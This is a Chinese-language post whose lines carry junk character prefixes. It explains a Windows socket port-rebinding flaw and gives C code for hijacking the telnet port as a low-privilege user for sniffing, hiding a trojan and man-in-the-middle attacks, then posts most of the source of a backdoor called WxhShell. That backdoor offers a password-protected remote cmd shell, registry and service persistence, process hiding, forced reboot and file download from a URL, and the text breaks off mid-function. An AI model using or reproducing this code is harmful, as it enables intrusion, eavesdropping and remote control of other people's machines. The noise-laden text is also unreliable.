在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
d&s9t;@= s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
Y7[jqb1D
4I?^ t" saddr.sin_family = AF_INET;
E`k@{*Hn& qWKAM@ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
]P2"[y $"&{aa bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
BFJnV.0M! [R7Y}k:9U 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
s&!a '-/xyAzS 这意味着什么?意味着可以进行如下的攻击:
-8rjgB~."/ aCLq k' 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
mju>>\9 LRMx<X8 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
:TC@tM~Oy NL0n009"c$ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
QS]1daMIK< 4 vV:EF- 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
!o[7wKrXb CoAvSw 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
Km6YP!i .Twk {p 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
R#8L\1l Y]u+\y~ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
[bNx^VP* bB;5s`- #include
3K/MvNI> #include
^_5r<{7/ : #include
gH3vk $WS #include
{LQ#y/H? DWORD WINAPI ClientThread(LPVOID lpParam);
y[_Q- int main()
_8)*]- {
,tJ"
5O3- WORD wVersionRequested;
'D"C4;X DWORD ret;
2Jmz(cH% WSADATA wsaData;
-n<pPau2 BOOL val;
Y~E`9 SOCKADDR_IN saddr;
3%;a)c;D SOCKADDR_IN scaddr;
([LSsZ]sj int err;
qXtC^n@x SOCKET s;
;K&o-y SOCKET sc;
5=?\1`e1[ int caddsize;
xZF}D/S?Ov HANDLE mt;
@Sbe^x DWORD tid;
*lw_=MXSK wVersionRequested = MAKEWORD( 2, 2 );
KX7>^Bt&k err = WSAStartup( wVersionRequested, &wsaData );
hJ#xB6 if ( err != 0 ) {
r[Hc>wBv printf("error!WSAStartup failed!\n");
t; {F%9j{ return -1;
'V=P*#|SR }
'B0{_RaTb saddr.sin_family = AF_INET;
\3aoM{ztD #!KE\OI;@5 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
1.9}_4! 4l45N6" saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
6Yxh9*N~] saddr.sin_port = htons(23);
YLE!m? if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
qF-@V25P {
W=qVc printf("error!socket failed!\n");
j578)!aJ return -1;
{_Rr 6 }
s^uS1 val = TRUE;
K]"#C //SO_REUSEADDR选项就是可以实现端口重绑定的
[ )dXI IM if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
JU5C}%Q6 {
b4ONh% printf("error!setsockopt failed!\n");
A_5P/ARmI return -1;
0h\smqm }
-Z
Ugx$ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
CxG#"{& //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
6WJ)by //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
"Yj'oE%\ aAMVsE{ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
C-MjJ6D< {
zvH8^1yzG ret=GetLastError();
4'A!; ]: printf("error!bind failed!\n");
2=`o_<P'" return -1;
)MchsuF< }
}n2M G listen(s,2);
`Kr,>sEAM while(1)
;^%4Q" {
QKN+>X caddsize = sizeof(scaddr);
&3Szje //接受连接请求
nd1+"-,q sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
cH?B[S;] if(sc!=INVALID_SOCKET)
5ZK@`jkE {
c~uKsU mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
4f'V8|QM{ if(mt==NULL)
lqZ 5?BD1 {
ssRbhlD/*1 printf("Thread Creat Failed!\n");
[^e%@TV>d break;
?ztkE62t }
j=aI9p }
=U|.^5sa# CloseHandle(mt);
9:1Q1,-i!- }
[8,yF
D_U closesocket(s);
3ojlB |Z WSACleanup();
S(8$S])0 return 0;
]?
g@jRs }
1Z~)RJ<D DWORD WINAPI ClientThread(LPVOID lpParam)
pDIVZC {
=&2Lb SOCKET ss = (SOCKET)lpParam;
D
(mj7oB SOCKET sc;
;y\IqiA{o unsigned char buf[4096];
(Dl$k Gn SOCKADDR_IN saddr;
W$OG(m!W> long num;
s1NKLt DWORD val;
FUjl8b-| DWORD ret;
W7\f1}]H //如果是隐藏端口应用的话,可以在此处加一些判断
!&/{E
[ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
S.m{eur!,E saddr.sin_family = AF_INET;
,J>5:ht(6 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
WDPb!-VT saddr.sin_port = htons(23);
3#&7-o if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
|>htvDL {
TDNQu_E printf("error!socket failed!\n");
n3Z5t return -1;
5b[jRj6 }
]0)|7TV* val = 100;
O8u j`G 9 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
-}=%/|\FG {
,:H\E|XeBw ret = GetLastError();
FUOI3 return -1;
b6F4>@gjg }
Rh{zH~oZ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
4V==7p
x( {
Q&g^c2 ret = GetLastError();
d%,eZXg' return -1;
{{MRELipW }
7:3$Ey if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
Z2='o_c {
O0No'LVu printf("error!socket connect failed!\n");
xp72>*_9& closesocket(sc);
kg3EY<4i closesocket(ss);
); dT_ return -1;
b e-~\ @ }
jvFTR'R)= while(1)
M:3h e {
vIwCJN1C //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
:1^R9yWA4 //如果是嗅探内容的话,可以再此处进行内容分析和记录
A"D,Kg
S //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
b7tOo7a H) num = recv(ss,buf,4096,0);
: b~6i%b if(num>0)
U1RpLkibQ send(sc,buf,num,0);
QxOjOKAG
else if(num==0)
rKf-+6Na break;
yA(K=?sq num = recv(sc,buf,4096,0);
kO{s^_qR^c if(num>0)
/)(#{i* send(ss,buf,num,0);
;Tc`}2 else if(num==0)
xs:n\N break;
;R?I4}O#R8 }
0B@Jity#! closesocket(ss);
Qj6/[mUr~ closesocket(sc);
R>"OXFaE return 0 ;
)5U[o0td }
Kt|1&Gk /_Z652@ K7Wk6Aw ==========================================================
G\r?f& H&
Ca`B 下边附上一个代码,,WXhSHELL
a|=x5`h04~ `poE6\ ==========================================================
LLXVNO@e+ P2'DD 3 #include "stdafx.h"
,gOOiB
} sWblFvHqrU #include <stdio.h>
SD$h@p=!= #include <string.h>
eI:C{0p= #include <windows.h>
xz{IH,?IG #include <winsock2.h>
)Ocl=H|= #include <winsvc.h>
Gz[fG #include <urlmon.h>
G\Ro}5TO Bw64 #pragma comment (lib, "Ws2_32.lib")
*9c!^$V #pragma comment (lib, "urlmon.lib")
Fa_VKAq Y> Wu #define MAX_USER 100 // 最大客户端连接数
/3:q#2'v #define BUF_SOCK 200 // sock buffer
Nn"+w|v[ev #define KEY_BUFF 255 // 输入 buffer
G0;XaL: _}VloiY #define REBOOT 0 // 重启
)V:]g\t #define SHUTDOWN 1 // 关机
n>`as YH_7=0EJ #define DEF_PORT 5000 // 监听端口
X'% ;B Bk\Gj`"7 #define REG_LEN 16 // 注册表键长度
z,:a8LB#[ #define SVC_LEN 80 // NT服务名长度
ADk8{L{UU H0R&2#YD // 从dll定义API
%T9 sz4V typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
DHT&,= typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
TdGnf typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
@b~fIW_3> typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
9Q-*@6G (N=5.7"T // wxhshell配置信息
?zJOh^ struct WSCFG {
B8%{}[q int ws_port; // 监听端口
GMZv RAui char ws_passstr[REG_LEN]; // 口令
{$^DMANDx int ws_autoins; // 安装标记, 1=yes 0=no
gzD@cx?V char ws_regname[REG_LEN]; // 注册表键名
0Ir<y char ws_svcname[REG_LEN]; // 服务名
Gkxj?)` char ws_svcdisp[SVC_LEN]; // 服务显示名
2'<[7! char ws_svcdesc[SVC_LEN]; // 服务描述信息
dVo.Czyd char ws_passmsg[SVC_LEN]; // 密码输入提示信息
R
&4Z*?S int ws_downexe; // 下载执行标记, 1=yes 0=no
+@K09ge char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
]a3iEA2 ( char ws_filenam[SVC_LEN]; // 下载后保存的文件名
3y~r72J ^3FE\V/=
};
;/*6U -TOI c% // default Wxhshell configuration
[kgdv6E struct WSCFG wscfg={DEF_PORT,
(%:>T Q( "xuhuanlingzhe",
pdEiqLhH 1,
_ _>.,gL7 "Wxhshell",
9bq<GC'eX8 "Wxhshell",
eDZ8w "WxhShell Service",
0W()lQ "Wrsky Windows CmdShell Service",
Q;J`Q wkH "Please Input Your Password: ",
6q6FB 1,
iTg; 7~1pY "
http://www.wrsky.com/wxhshell.exe",
A
&9(mB "Wxhshell.exe"
okFvn; };
T'aec]u @(i!YL // 消息定义模块
H7kPM[ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
A?T<",bO char *msg_ws_prompt="\n\r? for help\n\r#>";
FsGlJ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
79yd&5#e? char *msg_ws_ext="\n\rExit.";
5+jf/}tA char *msg_ws_end="\n\rQuit.";
[
dE.[ char *msg_ws_boot="\n\rReboot...";
@ Ehn(} char *msg_ws_poff="\n\rShutdown...";
xN@Pz)yo char *msg_ws_down="\n\rSave to ";
R1W}dRE} c$QX)V char *msg_ws_err="\n\rErr!";
Vax^8 - char *msg_ws_ok="\n\rOK!";
ZB[Qs s{4 \xAS> char ExeFile[MAX_PATH];
:aIN9; int nUser = 0;
%D`,k*X HANDLE handles[MAX_USER];
\rV
B5|D? int OsIsNt;
D*Q.G8( 5I@w~z SERVICE_STATUS serviceStatus;
6k/U3&R SERVICE_STATUS_HANDLE hServiceStatusHandle;
DK&h
eVIoZ %&\ jOq~ // 函数声明
0G2g4DSKD int Install(void);
Zf>^4_x3P int Uninstall(void);
(?b@b[D~4 int DownloadFile(char *sURL, SOCKET wsh);
9r2IuS0 int Boot(int flag);
io3yLIy, void HideProc(void);
5Y3i|cj int GetOsVer(void);
-sMyt HH. int Wxhshell(SOCKET wsl);
8g>b void TalkWithClient(void *cs);
[!VOw@uz int CmdShell(SOCKET sock);
y9|K|xO[ int StartFromService(void);
M}hrO-C int StartWxhshell(LPSTR lpCmdLine);
qJ_1*!!91 Sm2>'C VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
.6pOvGKb VOID WINAPI NTServiceHandler( DWORD fdwControl );
JkA|Qdj~Mr $Vv}XMxw // 数据结构和表定义
p=QYc)3F SERVICE_TABLE_ENTRY DispatchTable[] =
<vbIp& {
%AnW~v {wscfg.ws_svcname, NTServiceMain},
l~Lb!; ,dN {NULL, NULL}
)2E%b+" };
7a$G@ ^SfS~GQ // 自我安装
+tN&a int Install(void)
?oiKVL"7 {
@oG)LT char svExeFile[MAX_PATH];
~H}en6Rc HKEY key;
H_IGFZ Ch strcpy(svExeFile,ExeFile);
0X(]7b&~R J:F^
#gW // 如果是win9x系统,修改注册表设为自启动
BXUF^Hj% if(!OsIsNt) {
efuK if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
kDz>r#% RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
wn11\j& RegCloseKey(key);
[W,-1.$!dM if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
n|4;Hn1V RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
vVs#^"-nW RegCloseKey(key);
/LQ:Sv7 return 0;
$YG1z }
zG
c[Z3N }
(a6?s{( }
m^{
xd2 else {
g9my=gY 4rU!4l // 如果是NT以上系统,安装为系统服务
G7* h{nE SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
cUDg M if (schSCManager!=0)
&4$oudn {
WO,xMfK SC_HANDLE schService = CreateService
r5/R5Ga^ (
u>Ki$xP1 schSCManager,
tO.$+4a wscfg.ws_svcname,
swpnuuC- wscfg.ws_svcdisp,
(5uJZ!m SERVICE_ALL_ACCESS,
u:`y] SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
g3?U#7i SERVICE_AUTO_START,
?4)v`* SERVICE_ERROR_NORMAL,
hQgN9S5P svExeFile,
S9Yt 1qb NULL,
3#<*k>1G? NULL,
/axTh NULL,
0D)`2W NULL,
hWcTI{v NULL
i.rU&yT% );
z4}
%TT@^ if (schService!=0)
8t.dPy< {
N)43};e CloseServiceHandle(schService);
=V^@%YIn CloseServiceHandle(schSCManager);
ur2!#bU9 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
xKJ>gr"w# strcat(svExeFile,wscfg.ws_svcname);
ibF#$&! if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
En9R>A;` RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
LBX%H GH RegCloseKey(key);
Wtv#h~jy9 return 0;
[l[{6ZXt }
_q Tpy)+ }
Uk-HP\C"7 CloseServiceHandle(schSCManager);
BGjb`U#%3 }
X_70]^XL }
mPmB6q%)] R.7#zhC`4 return 1;
a%~yol0wO7 }
\OHv|8!EI@ YlUpASW // 自我卸载
S]yvMj_? int Uninstall(void)
#Mi|IwL {
^&:'NR HKEY key;
WaYO1*= FWTx&Ip if(!OsIsNt) {
MtG_9- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
=&0U`P$` RegDeleteValue(key,wscfg.ws_regname);
o1YU_k<# RegCloseKey(key);
xVR:;
Jy[ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
_9h.Gt RegDeleteValue(key,wscfg.ws_regname);
[b5(XIGUN} RegCloseKey(key);
lvufk VG| return 0;
XN;/nU }
pVOI5>f\ }
?*K<*wBw# }
,ZK]i CGk else {
/{G/|a YhgUCF# SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
d1NE% hg3 if (schSCManager!=0)
OKQLv+q5K) {
KF{a$d SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
La}o(7=s if (schService!=0)
HP$K.a7H {
{Nq?#%vdT if(DeleteService(schService)!=0) {
>}F? <JB CloseServiceHandle(schService);
L<@&nx CloseServiceHandle(schSCManager);
$'$>UFR return 0;
# ,P(isEZ" }
Gj`f--2GE CloseServiceHandle(schService);
Ve14rn }
%vc'{`P CloseServiceHandle(schSCManager);
nO@+s
F }
kukaim>K }
d8.ajeN]o +{xG<Wkltz return 1;
FT_k^CC }
b]dxlj}
< s,
-*q} // 从指定url下载文件
EVSK8T, int DownloadFile(char *sURL, SOCKET wsh)
|!5@xs*T {
4qBY%1 HRESULT hr;
Ai jUs*n 2 char seps[]= "/";
:bw6 k char *token;
3"B+xbe= char *file;
'
C6:e?R char myURL[MAX_PATH];
Y~GUR&ww0n char myFILE[MAX_PATH];
w)<4>(D oUS,+e strcpy(myURL,sURL);
8OBF^r44R token=strtok(myURL,seps);
g*r/u; while(token!=NULL)
STp!8mL {
5 V rcR=?O file=token;
u-M] Az- token=strtok(NULL,seps);
u~)%tL }
/'NUZ9 ={xqNRVd GetCurrentDirectory(MAX_PATH,myFILE);
'5cZzC
2 strcat(myFILE, "\\");
g)N54WV strcat(myFILE, file);
1Q_ ``.M send(wsh,myFILE,strlen(myFILE),0);
7NUenCdc send(wsh,"...",3,0);
WFpl1O73 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
|QqWVelc if(hr==S_OK)
wL'C1Vr return 0;
<
[w++F~ else
V*kznm return 1;
a}GAB@YI Vd[2u }
|3|wdzV 7rPLnB] // 系统电源模块
PoY>5 int Boot(int flag)
@d
P~X {
!
fX9*0L HANDLE hToken;
k2wBy'M.' TOKEN_PRIVILEGES tkp;
j>V"hf =*[, *A if(OsIsNt) {
mC"7)&,F OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
r"1A`89 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
F94V 5_[ tkp.PrivilegeCount = 1;
L<"k7)k tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
Cea"qNq=k AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
|H<|{{E if(flag==REBOOT) {
*\C}Ok= if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
}RH lYN return 0;
hX %s]" }
+%x^ RV} else {
ZG!x$yi$ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
R$v i!0 return 0;
_=)!xnYf }
;,FT&|3o }
O<Jwaap else {
i$g|?g~] if(flag==REBOOT) {
7!mJhgGc if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
9c:5t'Qt5. return 0;
I S.F }
4'_L W?DS else {
s"#CkG if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
M$gvq:}kt return 0;
# e$\~c Pd }
Y]?Kqc }
]C+eJ0"A [3GKPX:OA/ return 1;
-uO%[/h;N }
iczs8gj* z{@=_5; // win9x进程隐藏模块
?V.ig void HideProc(void)
W6hNJb {
R<_mK33hd h#v L5At HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
ZyZl\\8U if ( hKernel != NULL )
KhLg*EL {
K@y-)I2] pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
9F/|` ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
1g+LF[*-~ FreeLibrary(hKernel);
q`h7H][(A }
ryz/rf ]cS&8{ ^2 return;
IQo]9Lx }
s_x=^S3~LO Cb+P7[X- // 获取操作系统版本
`6dy
U_f int GetOsVer(void)
#!(Zn:[ {
A!n~8zcmp} OSVERSIONINFO winfo;
X9p+a, winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
LqMe'z GetVersionEx(&winfo);
Yjpb+} if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
;|2Uf return 1;
S6=\r{V else
27}.s0{D return 0;
4u7c7K>\Y }
m>g}IX&K' o:p{^D@#k // 客户端句柄模块
(D:KqGqoT int Wxhshell(SOCKET wsl)
tzx:* {
Rs`Vr_?Hk SOCKET wsh;
+>n.T struct sockaddr_in client;
hB?U5J DWORD myID;
wn&[1gBxM DX]z=d)tc while(nUser<MAX_USER)
4da^d9ZOy {
cYBrRTrI# int nSize=sizeof(client);
{LjK_J' wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
x(exx
)w if(wsh==INVALID_SOCKET) return 1;
o}5'v^"6, TG""eC!E handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
>\N$>"~a if(handles[nUser]==0)
wY."Lw> 6 closesocket(wsh);
yz54:q? else
c%o5E% nUser++;
I^6c0` }
L5hQdT/b$ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
W66}\&5 9aW8wYL~b return 0;
R4hav }
7Y| Wy
Oq #g5't4zqx // 关闭 socket
"j*fVn void CloseIt(SOCKET wsh)
0Og/47dO.2 {
o{s4.LKK closesocket(wsh);
W\d0 nUser--;
^XjvJa ExitThread(0);
j@kRv@ }
0j-F6a*p'1 VQZT.^ // 客户端请求句柄
bQ${8ZO void TalkWithClient(void *cs)
3hp
tP {
P}w^9=;S $Qx(aWE0 SOCKET wsh=(SOCKET)cs;
M%nZu{ char pwd[SVC_LEN];
V}3~7( char cmd[KEY_BUFF];
6%Cna0x:& char chr[1];
$~;6 hnrm int i,j;
_R>s5|_ ?STI8AdO
while (nUser < MAX_USER) {
RXCygPT <"j"h=tm} if(wscfg.ws_passstr) {
_dH[STT if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
/9t*CEu\ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
D*<8e?F //ZeroMemory(pwd,KEY_BUFF);
dja9XWOg i=0;
\!?
PhNv while(i<SVC_LEN) {
dUBVp 9PB :$) aMEq // 设置超时
o
=jX fd_set FdRead;
5VY%o8xXa struct timeval TimeOut;
-NI@xJO4(; FD_ZERO(&FdRead);
&**.naSo FD_SET(wsh,&FdRead);
i&AXPq>` TimeOut.tv_sec=8;
jb6ZAT<8 TimeOut.tv_usec=0;
06j)P6Iju int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
dqK if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
0^|$cvYiL }b\ipA,~ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
*(_ON$+3 pwd
=chr[0]; -h.3M0
if(chr[0]==0xd || chr[0]==0xa) { t 's5~
pwd=0; /eI,]CB'z
break; ]J0Y^dM
} 'h+4zvI"8
i++; sIQMUC[!
} 0Zp<=\!;
t}* qs
// 如果是非法用户,关闭 socket +L<w."WG
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9h)P8B.>M
} ).@)t:uNa
!*$'fn'bAA
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |x}&wFV
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )gm \e?^
ek_i{'hFd
while(1) { d,E/9y\e
^{:[^$f:l
ZeroMemory(cmd,KEY_BUFF); s^x ,S
*jqPKK/
// 自动支持客户端 telnet标准 '! 2
j=0; 'j=PbA
while(j<KEY_BUFF) { 4'u|L&ow
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .x9nWa
cmd[j]=chr[0]; |7 W6I$Xl
if(chr[0]==0xa || chr[0]==0xd) { >O[^\H!\
cmd[j]=0; >goAf`sqo
break; V0wC@?
} .(.G`aKnF
j++; gP"Mu#/D
} ABS
BtH ?
Mz#S5 s
// 下载文件 o::ymAj
if(strstr(cmd,"http://")) { z8rh*Rfxd
send(wsh,msg_ws_down,strlen(msg_ws_down),0); \ {E;u'F
if(DownloadFile(cmd,wsh)) bN~'cs8 e
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q'V,?#
else /E1c#@
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v\L Ip
} #v]aT
]}
else { Ts ?>"@
5w-G]b
switch(cmd[0]) { I.n{ "=$B@
S4AB tKG
// 帮助 ZYp-dlEXq
case '?': { :/?R9JVI
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); { /Q?
break; j$/uJ`
} X/C54%T ~
// 安装 1pBsr(
case 'i': { 3 %{'Uh,
if(Install()) %nK15(
send(wsh,msg_ws_err,strlen(msg_ws_err),0); S7~l%G>]b
else ^[,1+WS%
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E`LIENm
break; 1=cfk#
} ^a0-5
// 卸载 gB'Ah -@,P
case 'r': { OA5md9P;d
if(Uninstall()) T;vPR,]rz
send(wsh,msg_ws_err,strlen(msg_ws_err),0); &JzF
else &-.eu
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 97=YFK~*
break; 1Yx[,GyC>&
} ry<}DK<u
// 显示 wxhshell 所在路径 )6S}O*
1
case 'p': { {;rpgc
char svExeFile[MAX_PATH]; Xf/<.5A
strcpy(svExeFile,"\n\r"); 7|?@\ZE
strcat(svExeFile,ExeFile); [,V92-s;N
send(wsh,svExeFile,strlen(svExeFile),0); 6P[O8
break; /[|md0,
} ;$&5I9N
// 重启 2SCf]&
case 'b': { 2nz'/G
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Q,+*u%/u
if(Boot(REBOOT)) Gt*<?
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,'0oj$~S:
else { N`^W*>XB
closesocket(wsh); KPvYq?F>4
ExitThread(0); _1bd)L&dF
} m##z
break; ^)K[1]"uM
} /bj`%Q.n
// 关机 C4K&flk]
case 'd': { 9YsO+7[
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |a~&E@0c
if(Boot(SHUTDOWN)) JqhVD@1{
send(wsh,msg_ws_err,strlen(msg_ws_err),0); a-A4xL.gm
else { h]z|OhG
closesocket(wsh); ,Onm!LI=
ExitThread(0); lfG&V +S1
} wtick~)
break; [~%;E[ky$
} V$%Fs{
// 获取shell D,R2wNF
case 's': { Hu!>RSg,,2
CmdShell(wsh); Q`fA)6U
closesocket(wsh); dD2e"OIX
ExitThread(0); .j@n6RyN
break;
@(5RAYRV
} "k@/Z7=
// 退出 JA2}
case 'x': { ^bw~$*"j#
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);
vX )Y%I
CloseIt(wsh); ap_+C~%+
break; ]=$ay0HC
} S6:gow(wU
// 离开 xqZ%c/I3q
case 'q': { |?b"my$g$
send(wsh,msg_ws_end,strlen(msg_ws_end),0); s+t eYL#Zi
closesocket(wsh); F4l6PGxF&\
WSACleanup(); QU;C*}0Zl
exit(1); K&oO+ G^f
break; K%@SS8!oy
} f3&//h8
} +f~3FXM
} aQuy*\$$
Ss/="jC
// 提示信息 mq}
#{
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mM%BO(X{=
} mT$tAwzTC{
} "N"k8,LH
_Dt TG<E
return; [vT,zM
} N8Q{4c
=!Cvu.~},
// shell模块句柄 ]8z6gDp
int CmdShell(SOCKET sock) ' vClZGQ1
{ +Uk.|@b=-V
STARTUPINFO si; LKG|S<s
ZeroMemory(&si,sizeof(si)); wBGxJ\+M
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; u _^=]K;
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; bhT]zsBK
PROCESS_INFORMATION ProcessInfo; 2UJ0%k
char cmdline[]="cmd"; : \`MrI^
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); q/zdd3a
return 0; 1Tkdr2
} {.)D)8`<d
jC7XdYp
// 自身启动模式 2}#PDhn
int StartFromService(void) X28WQdP,7
{ 6u8fF|s
typedef struct a
OHAG
{ /!3:K<6@
DWORD ExitStatus; L4-Pq\2
DWORD PebBaseAddress; Y'R1\Go-
DWORD AffinityMask; 5jk4k c
DWORD BasePriority; .U
{JI\
